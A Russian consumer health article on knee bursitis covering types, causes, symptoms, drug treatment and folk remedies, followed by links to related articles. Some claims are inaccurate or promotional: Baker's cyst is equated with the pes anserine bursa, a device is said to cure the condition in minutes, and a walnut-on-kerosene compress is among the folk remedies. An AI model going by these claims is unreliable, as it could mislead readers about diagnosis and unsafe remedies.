  • Инфрапателлярный или супрапателлярный бурсит (подсухожильная сумка под надколенником) характеризуется термином «колено прыгуна», сочетается с повреждением связок колена. Профессиональное заболевание вратарей хоккейных команд.
  • Киста Бейкера (гусиная подфасциальная бурса с внутренней стороны колена) сложнее распознается, встречается чаще у женщин старше 40 с избыточным весом. Лишний вес увеличивает нагрузку на связки и сухожилия сустава, постоянно их травмируя. Диагностическим признаком этого заболевания является боль при ходьбе по лестнице.

По характеру воспаления различают серозный и гнойный бурситы. В последнем случае в полость околосуставной сумки при микротравмах проникают бактерии (стрептококки и стафилококки), вызывающие образование гноя.

Течение бурсита может быть острым и хроническим.

  • острый возникает внезапно и протекает быстро. Начало характеризуется сильной болью, которая усиливается при движении. Виден сильный отек, покраснение, местно может повышаться температура (особенно при гнойном).
  • хронический (рецидивирующий - повторяющийся). Боли слабее, но длятся дольше, движение конечности не нарушено. Участок воспаления выглядит плотным образованием, кожа над которым не изменена. В самой бурсе могут откладываться кальцинаты. Такой сустав как бы скрипит.
Что такое артроскопия коленного сустава? Преимущества диагностики в лечении патологий коленного сустава.

О методах лечения артроза коленного сустава читайте в статье

Причины возникновения

Посттравматический бурсит коленного сустава – наиболее частое явление в травматологии. Кроме этого, спровоцировать его может целый ряд причин:

  1. большая нагрузка на сустав в процессе интенсивных занятий спортом или при наличии избыточного веса;
  2. постоянные травмы или микротравмы (ушибы, раны, удары, ссадины, растяжения связок и др.), связанные с работой;
  3. такие заболевания суставов, как артрит, подагра и другие нарушения обмена веществ;
  4. аутоиммунные процессы и аллергические реакции;
  5. инфекция, которая может быть занесена из организма с током крови.

Симптомы бурсита коленного сустава

Классические признаки воспаления знает любой человек: отек, боль, повышение температуры, покраснение, нарушение функции органа. Все это характерно и для данной патологии. Интенсивность проявлений зависит от локализации (наименее болезненны подколенный бурсит и хронический), присоединения инфекции (ярко выражено воспаление при гнойном). Препателлярный и инфрапателлярный бурситы имеют четкий признак – резкий отек в виде наличия болезненной мягкой округлой упругой опухоли до 10 см. в диаметре, чаще в районе верхней части колена. Подвижность конечности ограничена, регионарные лимфатические узлы увеличены, температура может быть повышена.

При гнойном процессе возникают симптомы интоксикации организма в виде головной боли, озноба, общей слабости, высокой температуры тела.

Причины возникновения, симптомы и лечение артроза стопы.

Чем опасны травмы колен? О синовите коленного сустава можете узнать из статьи

Бальнеотерапия, грязелечение и климатотерапия при лечении заболеваний суставов. Подробнее

Как лечить бурсит коленного сустава?

Вовремя назначенное лечение весьма эффективно. Сроки его не превышают 2 недель.

Можно выделить методы традиционной медицины (консервативные/ терапевтические и оперативные/хирургические) и народные. Терапия осуществляется по следующим направлениям.

  1. Иммобилизация. Воспаленный сустав обездвиживают примерно на неделю. Конечности придают возвышенное положение. Дней через 5 необходимо начать ежедневное выполнение 2-3 сгибательных движений.
  2. Применение средств местного воздействия. Если нет нагноения, то для уменьшения отека на сустав наносят мазь Вишневского или применяют холодовые компрессы (на 10 минут несколько раз в день). Лед заворачивают в полотенце.
  3. Противовоспалительные препараты необходимы для снятия отека и боли. Лечат мазями, таблетками и инъекциями нестероидных препаратов, таких как диклофенак, индометацин, ибупрофен, вольтарен.
  4. При инфекционных бурситах обязательно назначают 2-3 антибиотика на курс (доксициклин, цефтриаксон, линкомицин, амоксиклав). Часто их вводят не только внутримышечно и внутривенно, но и в полость околосуставной сумки.
  5. В более тяжелых случаях пациенту рекомендуют курс противовоспалительных стероидов тоже внутрь сустава (кеналог, дипроспан).
  6. Если процесс асептический (серозный), то возможна физиотерапия: -УЗ с противовоспалительными средствами в остром периоде воспаления; - УВЧ после острого периода; - фонофорез, электрофорез, парафин в восстановительном периоде.
  7. В завершение рекомендуется пройти курс лечебной физкультуры или массажа для разработки сустава.

В настоящее время все больше рекламируется прибор «Алмедис» российского производства, который – со слов производителей - помогает избавиться от патологии за 2-3 сеанса по 4 минуты каждый. Принципом его действия является спектроволновая терапия (СВ).

Лучевая терапия – тоже один из новейших методов, при котором уничтожаются микробы внутри бурсы и, соответственно, быстро снимается воспаление.

Операция применима при тяжелом гнойном процессе либо частых рецидивах. Производят пункцию и дренирование суставной сумки с последующим введением антибиотиков. Пунктат исследуют для выявления возбудителя.

Народные методы лечения

По совету лечащего врача можно применять наработанные веками методики исцеления. Условно все методы «бабушкиной» медицины можно разделить на компрессы, общеукрепляющие отвары и настои, ванны и массажи с ароматическими маслами.

Компрессы дают выраженный противовоспалительный и обезболивающий эффект. Основной их принцип – действующее средство прикладывают к колену, покрывают холщовой тканью, полиэтиленовой пленкой и чем-то теплым. Применяют в течение недели.

Совмещение народных средств с методом лечения решается вашим врачом.

Обзорно можно перечислить огромное количество вариантов:

  • солевой (1 ст. ложка на 0,5л кипятка),
  • овощные (капуста с медом; картофель или свекла тонкими кружочками; тертый лук, тертое хозяйственное мыло и мед в равных долях),
  • травяные (отвары лопуха, зверобоя, ромашки, тысячелистника; золотого уса; мятые до сока листья сирени; печенные в золе листья лебеды),
  • сахарный (нагретый сахар в мешке на ночь),
  • из прополиса (настой 1:10 в течение 5 дней),
  • из алоэ (2 части меда на 3 части спирта и 1 часть сока алоэ),
  • на настойке грецких орехов (зеленые орехи на дистиллированном керосине).

Травяные ванны имеют то же действие. Сначала готовят отвар 30 минут, настаивают сутки, принимают в теплом виде в течение 15 минут. Используют хвойную ванну и из сенной трухи.

Чаи, настойки, и другие средства, применяемые внутрь, кроме противовоспалительного, оказывают еще и общеукрепляющее действие. Их употребляют 1-2 раза в день. Известны чай из сельдерея, отвар корня лопуха, зверобоя, тысячелистника и ромашки, настой цветков крапивы глухой (ясношки), принимают сливочное масло с прополисом, настойку уксуса с медом, грейпфрутовый фреш – все средства хороши в борьбе за здоровье.

Бурсит коленного сустава лечению поддается относительно легко. Есть только одно условие: лечить его нужно на начальной стадии и только у специалиста.

Помните: даже народные способы лечения должен подбирать врач.

osteokhondros.ru

  • Известковый бурсит плечевого сустава Как развивается каменный бурсит плечевого сустава Бурсит плечевого сустава развивается при поражении околосуставной сумки, то есть бурсы, которая выполняет в суставе смягчающую функцию, так как в...

  • Бурсит коленного сустава лечение в домашних условиях Лечение бурсита коленного сустава с помощью народных средств в домашних условиях При бурсите коленного сустава лечение в домашних условиях можно считать одним из способов борьбы с болезнью. Однак...

  • Болезнь бурсит Бурсит - лечение бурсита. Болезнь "бурсит". Лечение плечевого бурсита Довольно часто людям, обращающимся к врачу с болями в суставах, ставят диагноз «бурсит». Лечение бурсита может быть консерват...

  • Инфрапателлярный бурсит коленного сустава лечение Бурсит коленного сустава Что такое бурсит коленного сустава? Бурсит коленного сустава – это заболевание воспалительного характера. Оно затрагивает околосуставные сумки коленного сустава со скопле...

  • Бурсит плечевого сустава лечение в домашних условиях Виды, особенности симптоматики и лечения бурсита плечевого сустава Бурсит плечевого сустава по большей части бывает у людей, которые занимаются интенсивной физической деятельностью: спортсменов,...

  • Каменный бурсит плечевого сустава лечение Виды, особенности симптоматики и лечения бурсита плечевого сустава Бурсит плечевого сустава по большей части бывает у людей, которые занимаются интенсивной физической деятельностью: спортсменов,...

  • Бурсит локтевого сустава лечение Бурсит локтевого сустава - лечение Бурсит локтя - это воспаление синовиальных сумок, которые окружают сустав. Любая травма может повлечь за собой эту болезнь, которая требует длительного лечения...

  • Бурсит лечение народными средствами Эффективное лечение бурсита коленного сустава народными средствами В больном суставе околосуставная сумка увеличена в размерах и воспалена Нередко в результате травмы или тяжелых физических нагру...

  • Бурсит лечение Причины, симптомы и осложнения бурсита Содержание: Что такое бурсит? Причины бурсита Симптомы бурсита Виды бурсита Диагностика бурсита Осложнения бурсита Лечение бурсита Профилактика бурсита Забо...

  • Бурсит лавровый лист Чем обусловлен травматический характер хронического бурсита? Хронический бурсит является длительным воспалительным процессом бурс (околосуставных сумок). Развитие его часто провоцируется повторяю...

  • Бурсит коленного сустава фото Бурсит коленного сустава: симптомы и лечение Сумки или бурсы являются анатомическими составляющими коленного сустава. Клетки их внутренней поверхности вырабатывают синовиальную жидкость, которая...

  • Бурсит коленного сустава лечение Как вылечить бурсит коленного сустава? Бурситами называются различные виды воспаления слизистых сумок, сопровождающиеся образованием выпота. Патологические очаги образуются преимущественно в поло...

  • Бурсит коленного Бурсит коленного сустава: симптомы и лечение Сумки или бурсы являются анатомическими составляющими коленного сустава. Клетки их внутренней поверхности вырабатывают синовиальную жидкость, которая...

  • Бурсит коленного сустава Бурсит коленного сустава Любой периферийный сустав человеческого организма построен минимум из двух соприкасающихся костей, окруженных связочным аппаратом, который удерживает их в определенном по...

  • Бурсит коленного сустава лечение народными средствами Эффективное лечение бурсита коленного сустава народными средствами В больном суставе околосуставная сумка увеличена в размерах и воспалена Нередко в результате травмы или тяжелых физических нагру...

  • Бурсит колена Бурсит коленного сустава Бурсит коленного сустава – это воспалительный процесс в преднадколенниковых сумках (подкожной, подфасциальной и подсухожильной). Чаще других подвержена заболеванию подкож...